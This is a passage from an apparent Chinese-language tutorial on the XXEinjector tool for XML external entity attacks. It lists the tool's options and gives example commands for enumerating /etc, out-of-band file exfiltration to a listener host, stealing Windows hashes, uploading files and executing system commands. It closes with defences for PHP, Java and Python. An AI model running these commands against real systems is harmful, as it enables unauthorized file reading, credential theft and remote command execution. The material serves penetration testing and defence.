XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。
https://github.com/enjoiz/XXEinjector
参数列表
--host //必填项 – 用于建立反向链接的 IP 地址。 (--host=192.168.0.2)
--file //必填项 - 包含有效 HTTP 请求的 XML 文件。 (--file=/tmp/req.txt)
--path //必填项 -是否需要枚举目录 – 枚举路径。 (--path=/etc)
--brute //必填项 -是否需要爆破文件 - 爆破文件的路径。 (--brute=/tmp/brute.txt)
--logger //记录输出结果。
--rhost //远程主机 IP 或域名地址。 (--rhost=192.168.0.3)
--rport //远程主机的 TCP 端口信息。 (--rport=8080)
--phpfilter //在发送消息之前使用 PHP 过滤器对目标文件进行 Base64 编码。
--netdoc //使用 netdoc 协议。 (Java).
--enumports //枚举用于反向链接的未过滤端口。 (--enumports=21,22,80,443,445)
--hashes //窃取运行当前应用程序用户的 Windows 哈希。
--expect //使用 PHP expect 扩展执行任意系统命令。 (--expect=ls)
--upload //使用 Java jar 向临时目录上传文件。 (--upload=/tmp/upload.txt)
--xslt //XSLT 注入测试。
--ssl //使用 SSL 。
--proxy //使用代理。 (--proxy=127.0.0.1:8080)
--httpport //Set 自定义 HTTP 端口。 (--httpport=80)
--ftpport //设置自定义 FTP 端口。 (--ftpport=21)
--gopherport //设置自定义 gopher 端口。 (--gopherport=70)
--jarport //设置自定义文件上传端口。 (--jarport=1337)
--xsltport //设置自定义用于 XSLT 注入测试的端口。 (--xsltport=1337)
--test //该模式可用于测试请求的有效。
--urlencode //URL 编码,默认为 URI 。
--output //爆破攻击结果输出和日志信息。 (--output=/tmp/out.txt)
--timeout //设置接收文件 /目录内容的 Timeout 。(--timeout=20)
--contimeout //设置与服务器断开连接的,防止 DoS 出现。 (--contimeout=20)
--fast //跳过枚举询问,有可能出现结果假阳性。
--verbose //显示 verbose 信息。
4.5.1 基本使用
枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
5. XXE防御
使用开发语言提供的禁用外部实体的方法
- PHP
libxml_disable_entity_loader(true);
- Java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据,关键字: <!DOCTYPE 和 <!ENTITY ,或者 SYSTEM 和 PUBLIC 。 不允许XML中含有自己定义的DTD